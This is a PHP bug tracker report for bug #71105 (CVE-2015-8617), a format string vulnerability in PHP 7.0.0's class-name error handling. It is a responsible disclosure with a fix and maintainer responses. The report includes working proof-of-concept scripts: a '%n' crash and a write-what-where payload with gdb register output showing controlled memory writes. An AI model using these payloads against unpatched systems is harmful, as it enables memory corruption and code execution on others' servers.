php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #71105 Format String Vulnerability in Class Name Error Message
Submitted: 2015-12-12 18:35 UTC Modified: 2015-12-27 14:33 UTC
From: andrew at jmpesp dot org Assigned: ab
Status: Closed Package: Scripting Engine problem
PHP Version: 7.0.0 OS: Linux
Private report: No CVE-ID: 2015-8617
 [2015-12-12 18:35 UTC] andrew at jmpesp dot org
Description:
------------
A format string vulnerability exists in PHP-7.0.0 due to how non-existent class names are handled.  From my limited research I believe this issue is exploitable for full code execution (see test script below).  This issue does not appear to be present in previous PHP version.  Also note that this is NOT the same issue as #70895 or #70914.

I am not intimately familiar with the code-base, so I can't say with 100% certainty what the cause is or fix should be, but Zend/zend_execute_API.c:221 looks very suspicious (see patch).  Adding a "%s" as the second parameter there seems to fix the issue.


Test script:
---------------
### Simple Example (segfault) ###
<?php $name="%n%n%n"; $name::doSomething(); ?>


### Write-what-where Example ###
andrew@thinkpad /tmp/php-7.0.0_64 % cat /tmp/test.php
<?php
ini_set("memory_limit", "4G");
$rdx = 0x42424242; // what
$rax = 0x43434343; // where
$name = "%" . ($rdx - 8) . "d" . "%d" . "%n" . str_repeat("A", ($rax - 34));
$name::doSomething();
?>

andrew@thinkpad /tmp/php-7.0.0_64 % gdb sapi/cli/php
GNU gdb (GDB) 7.10
Copyright (C) 2015 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-unknown-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from sapi/cli/php...done.
(gdb) r /tmp/test.php
Starting program: /tmp/php-7.0.0_64/sapi/cli/php /tmp/test64.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x0000000000672935 in xbuf_format_converter (xbuf=xbuf@entry=0x7fffffffa610, is_char=is_char@entry=1 '\001', fmt=<optimized out>, ap=0x7fffffffa658)
    at /tmp/php-7.0.0_64/main/spprintf.c:744
744						*(va_arg(ap, int *)) = is_char? (int)((smart_string *)xbuf)->len : (int)ZSTR_LEN(((smart_str *)xbuf)->s);
(gdb) i r
rax            0x43434343	1128481603
rbx            0x7fffb2800016	140736188121110
rcx            0x6e	110
rdx            0x42424242	1111638594
rsi            0x7fffffff9db0	140737488330160
rdi            0x7fffffffa658	140737488332376
rbp            0x1	0x1
rsp            0x7fffffff9d50	0x7fffffff9d50
r8             0x7fffffff9db0	140737488330160
r9             0x7fffb2800016	140736188121110
r10            0x0	0
r11            0x0	0
r12            0x20	32
r13            0x7fffffffa610	140737488332304
r14            0x0	0
r15            0x4242423a	1111638586
rip            0x672935	0x672935 <xbuf_format_converter+1845>
eflags         0x10202	[ IF RF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0
(gdb) x/1i $rip
=> 0x672935 <xbuf_format_converter+1845>:	mov    DWORD PTR [rax],edx
(gdb)




Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-12-12 19:02 UTC] andrew at jmpesp dot org
UPDATE:
It seems I'm not able to attach patches when the bug is still private, but here's my proposed fix...

diff -rup php-7.0.0_old/Zend/zend_execute_API.c php-7.0.0_new/Zend/zend_execute_API.c
--- php-7.0.0_old/Zend/zend_execute_API.c	2015-12-01 07:36:25.000000000 -0600
+++ php-7.0.0_new/Zend/zend_execute_API.c	2015-12-12 12:24:24.999391117 -0600
@@ -218,7 +218,7 @@ static void zend_throw_or_error(int fetc
 	zend_vspprintf(&message, 0, format, va);
 
 	if (fetch_type & ZEND_FETCH_CLASS_EXCEPTION) {
-		zend_throw_error(exception_ce, message);
+		zend_throw_error(exception_ce, "%s", message);
 	} else {
 		zend_error(E_ERROR, "%s", message);
 	}
 [2015-12-13 02:48 UTC] laruence@php.net
-Assigned To: +Assigned To: ab
 [2015-12-13 02:48 UTC] laruence@php.net
the patch has been pushed in : https://github.com/php/php-src/commit/b101a6bbd4f2181c360bd38e7683df4a03cba83e

since this is a security fix, I will not add the NEWs entry and test now..

assign to RM, please add the news entry while doing release:

Fixed bug #71105 (Format String Vulnerability in Class Name Error Message). (andrew at jmpesp dot org)
 [2015-12-13 03:17 UTC] stas@php.net
-Type: Security +Type: Bug
 [2015-12-13 03:19 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2015-12-13 03:19 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2015-12-13 05:02 UTC] laruence@php.net
-Type: Bug +Type: Security
 [2015-12-13 07:51 UTC] stas@php.net
-Type: Security +Type: Bug
 [2015-12-27 14:33 UTC] kaplan@php.net
-CVE-ID: +CVE-ID: 2015-8617
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Tue Feb 28 14:01:40 2017 UTC